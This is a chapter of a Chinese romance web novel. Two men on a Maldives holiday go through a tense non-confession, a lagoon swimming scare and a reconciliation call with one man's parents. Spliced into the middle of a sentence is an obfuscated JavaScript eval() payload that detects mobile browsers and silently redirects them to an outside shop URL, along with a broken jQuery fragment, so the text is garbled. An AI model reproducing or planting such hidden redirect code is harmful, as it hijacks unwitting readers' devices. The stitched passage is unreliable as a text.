什么叫“他有些嫉妒了”?
他嫉妒什么,嫉妒连钟呈这种人都能得到这么热烈纯粹的感情,还是单纯嫉妒钟呈?
杭乐湛知道他现在应该追问一句,但他突然不敢开口了。
他突然意识到,他曾经试探问过于端砚很多次取向,却从来没得到过这人一次肯定的答复。
从始至终,他都没有想和于端砚产生任何更深一步的羁绊。他喜欢这个人是真,但清醒地知道两个人的可能性为零更是真。
在他的固有认知里,于端砚这种前途无量、刚签约稳定工作的大学生、独生子,就应该顺顺利利地与社会接轨,按部就班地到达每一个人生节点,阖家团圆地过活下去。
而不是在一个远离现实的热带小岛,因为短短几天的独处假象,对一个年长几岁的同性动了心思。
这么多天,杭乐湛第一次在心里祈祷,希望那个“学妹”真的存在。又或许是自己真的和那篇找搭子帖子的评论里说的一样,是一个毫无道德底线、四处钓鱼的浪荡混蛋。
至少还能装着样子骗骗于端砚,和他不顾后果地欢愉一两天。
可偏偏他内里又古板又轴。如果知道没办法长久,那就干脆不要开始。
·
见他愣怔不语,于端砚已经看了过来:“你......”
杭乐湛从沙滩椅上坐起来,笑着打断了他的话:“弟弟,我们该回去了。”
我说的不只是回房间。
于端砚起身的动作明显一顿,那双平时不太显露情绪的眼也已经耷了下去,像是被这句话钉在了原地。
沙滩椅很矮,他有些局促地支着两条长腿,手上紧紧捏着那顶酒店送的草帽,帽檐处已经明显得变了形。
杭乐湛心里一团糟,强迫自己不去看身旁那人可怜的眼神,也不要年上圣心泛滥。他推了车往前走,余光里,于端砚果然乖乖跟了过来。
哎。这都什么事。
本就是为躲情愁而来,到头来反惹一身情债。
·
来的路上一直在聊天,回去时候两相无话,杭乐湛这才意识到,他们已经骑出去了很远。
外面太晒,他们打算从岛中的小路绕回去。出来的时候没带地图,他只能硬着头皮往前骑。
烈日当头,岛上安静得很,连工作人员都不见几个。杭乐湛看着每一个路口都长得一样,几次想回头求助,又拼命忍住,铆足了劲往前蹬,累得他出了一身汗。
于端砚忍不住叹了口气:“我不追,就在你后面骑,你慢点。”
这是演都不演了。
他不过骑车快了点,于端砚就已经知道了他在想什么。偏偏他以前滤镜大到没边,以为这人还是个不谙世事、不知世故的钢铁直男。
又拐了不知道几个弯,眼前的景象终于豁然开朗。高大茂盛的热带丛林尽头,他终于看到了栈桥。
·
千难万难得进了屋,吹到空调的一瞬间,杭乐湛饱受摧残的身体和内心才缓过一口气来。
他们上午来房间点个卯就出去骑车了,行李都没来得及收拾。他不知道该怎么和于端砚相处,只好假装很忙,头一次这么积极地收拾起了行李。
他吭吭哧哧地拿出洗漱用品,又为了拖延时间,把它们在洗手台上高低排成一列。推拉门响了一声,杭乐湛看过去,是于端砚去了露台。
他又翻出睡衣,一时间却不知道该往哪张床上放。
主卧的大床上是空的,杭乐湛想了想,还是往客厅走。
到了那才发现,两张小床中的一张已经被放好了睡衣和书包——于端砚的。
他应该开心的。
于端砚很懂事,没有胡搅蛮缠,没有刨根究底,反而配合着他避起了嫌。
可他笑不出来。
嘴角和心脏都无可救药地重重落下,杭乐湛拿着睡衣,垂头丧气地走回了主卧。
·
时间一分一秒过去,杭乐湛终于意识到不对。
外面太热了。
这种天气一直在露台待着干嘛,晒肉干还是美黑?
他放心不下,深吸一口气,打算出去看看。却不成想,这一看吓得他差点丢了半条命——
露台上空空荡荡,哪还有半个人影。
他压下心头的不安,往水里看了一眼,差点没直接瘫倒在地上——
离水屋大概几十米的地方,风平浪静、碧蓝澄澈的泻湖里,突兀地飘着一个小黑点。
再往前二十米就是海沟。
杭乐湛想大声喊,一张开口,才发现自己已经语不成调。
“于端砚!!!”
隔得太远,他看不清那人的情况,也没听见任何回应。
他软着腿折返里屋,挂着的两件救生衣只剩一件,于端砚应该是穿着救生衣下水的。
杭乐湛顾不得许多,颤抖着手给自己扣上另一件救生衣,又跑出去解拴着救生圈的绳子。
他在和绳子博弈的间隙绝望地意识到,原来书上说的“手抖得不成样子”、“痉挛得拿不住东西”没在夸大其词。
绳子终于解开,杭乐湛大脑一片空白,抓着游泳圈就要往下跳。刚才一通抓瞎没时间看海里,这才发现,那个小黑点好像离他近了很多。
他隔着远远的距离和海里的人对上视线,看着那人挥了挥手。
悬空的心脏重重回落,喘不上来的气一股脑涌进肺腑。那股吊着人的惊惶劲儿过去,杭乐湛终于喘了起来。他毫无知觉地伸手一抹,才发现脸上已经一片濡湿。
·
于端砚慢慢游到扶梯边,被早就等在一旁的人搂了个满怀。
失而复得的狂喜盖过了理智,杭乐湛浑身颤抖,气都喘不匀,力气重得像是要把人勒进身体。
于端砚就打着拍子,一下一下给他顺气。
“你疯了吗!这是印度洋,不是游泳池!”他又气又怕,声音还带着颤,“万一起了风怎么办!万一我没出来找你怎么办!你游泳那么烂自己不知道吗,一个人下什么海!”
杭乐湛声嘶力竭地质问,眼泪不受控制得挤出眼眶,被风一刮,刺得整张脸都生疼。太过激烈的情绪散去,强撑着的力气一下卸掉。他连挣脱的力气都没有,靠身前的人托着才能站立。
于端砚还在像哄小孩子一样拍他的背,心疼得揩掉他糊了满脸的泪,嘴里却还在犟。
“对不起。我心里有点……难过,就想游会儿泳。”他低下头去,“游泳池太小了,泻湖不深,没事的。”
杭乐湛别开脸。
连抱带拍了好一会,他已经不怎么抖了。于端砚把他放开,神色小心翼翼:“我游泳挺好的,之前说没怎么游过,是我骗你的。”
他大脑还没从宕机的状态中彻底苏醒,下意识就跟着那人的话茬走:“骗我做什么......”
“一开始的时候我也不知道,下意识就那么说了,想让你多照顾我一下。”于端砚低下头,逆着光看向他的眼睛,“那种感觉很奇怪,和我认知里的自己都大相径庭,我也是困惑了一阵才慢慢想明白原委。”
杭乐湛抬头看了一眼,被那人眼里流转的明波暗流晃得心神动荡。
奇怪。
这个人明明背对着海,他却在这双眼睛里看见了浪。
“杭乐湛。”于端砚认真地叫他的名字,“我现在能确定答案了。”
“你要听吗。”
·
我听个屁。
一下子接受的信息量太大,他有些反应不过来了。
不会游泳,假的。那床可怜的被子究竟是怎么湿的,存疑。那么多若有似无、让他以为自己自作多情的撩拨,真的。
学妹,一开始的或许确有其事,但后来那个让他不上不下,辗转失眠的,绝对查无此人。
太荒谬了。
杭乐湛自诩人生阅历还算丰富。他去过那么多城市,换了那么多份实习,又在网上刷了那么多情感类
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683530|207740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的帖子。
也还是会感觉当下正在经历的事情无比荒谬。
他不得不承认,这个狗崽子从一开始就在吊他。
心绪早就被这人不讲理的一通输出缠成了死结。杭乐湛不知道是该哭还是该笑。
看上的人也喜欢自己,甚至不可谓不处心积虑。
想到这,他终于嗤了一声。被胡乱解开扔在地上的橙光色救生圈挨着了他的脚,被他一脚踢开。
他故意挤出一个阴阳怪气的笑容,看向身边的人:“我不想听。”
听了也没什么用。回国之后,他们照样天南海北。
异地恋?狗都不谈。
拿于端砚和钟呈来比简直是在对前者进行人格侮辱。但一朝被蛇咬,十年怕井绳。
男朋友线上谈一个,线下谈一个,男的谈一个,女的谈一个的教训吃一次就行了,他不想也不敢再赌了。
但没想到,看他这样,于端砚居然笑了。
“我就知道。”
“不过没关系。”于端砚笃定地看过来,仿佛猜到他一定会松口一样,“还有三天时间,等你想听了再说。”
·
杭乐湛扭头进了房间。空调打在身上的一瞬间,那股烦意才消下去一半。
让自己心烦意乱的始作俑者不知道在外面搞什么幺蛾子,没有很快跟进来。
有那么一瞬间,他真的很想从里面把门锁上。
不是喜欢装可怜?晒死你算了。
他手都搭到了把手上,却怎么都拧不下去。和自己对峙半晌,外面的人已经看了过来。杭乐湛在心里骂了自己一句“没出息”,愤愤转身,给那人留下一个失控的背影。
沉寂多时的手机这会儿却响了起来。杭乐湛正愁干点什么转移注意力,大呼手机上道,看见来电显示的那一刻却傻了眼——
【半生从容向你发来视频通话邀请。】
半生从容是他爸。
至于为什么他爸没备注,因为他出柜之后他爸激愤交加,把他给删了。
刚加回来没多久,俩人的聊天页面现在干净得能擦脸。曾经那些他嗤之以鼻的脑残公众号、造谣养生小贴士全都不见了,杭乐湛怔愣半晌,居然有些怀念。
他还是接通了。
“哎你过来啊,接了接了。”视频加载出来,屏幕那头的却是他妈。
“晨晨啊,你们那边几点啦?马代好玩儿吗?怎么这么多天也不知道给爸爸妈妈去个电话,妈白疼你啦。”
从安女士略显不耐的神情和屏幕里用力绷紧的那只手来看,他爸应该是被他妈牢牢扯住了胳膊。
杭乐湛委屈又好笑,久违地有了点孩子样:“你俩不是说不要我了。我怕你俩在气头上,哪敢再打电话叨扰。”
果然,这话一出,他爸立刻藏不住了,吹胡子瞪眼地把手机抢了过去:“你还有脸说!你怎么不说我俩因为什么说不要你呢!”
说完又想起老婆叮嘱的话,僵硬着放软语气:“差不多行了,从马代回来先回趟家。”
这就是求和的意思了。杭乐湛立刻装乖讨饶:“知道了,爸。你少抽点烟吧,嗓子又沙了。妈你也盯着点儿他,多大人了,这么轴。”
“哼。”
“孩子关心你呢,你摆什么臭脸。”他妈凿了一下身边的人,转过来笑眯眯地,“你去海里玩小心点啊,我和你爸刷那个新闻,每年都有好多人在那边出事,老吓人了。”
听着熟悉无比的唠叨,他竟然有些怀念。
杭乐湛笑了一声,乖乖答应:“好。”
他出柜之后和家里差不多断联了俩月,这会盯着屏幕里久违的父母,才发现二老都明显苍老了不少。
他有些难受,正要说些什么。
“对了晨晨。”他妈不知道为什么有些紧张,“上次你张阿姨说他侄女儿今年来杭州读研,小姑娘想在校外租个房子,你门道多,要不帮着看看......”
刷拉——门开了。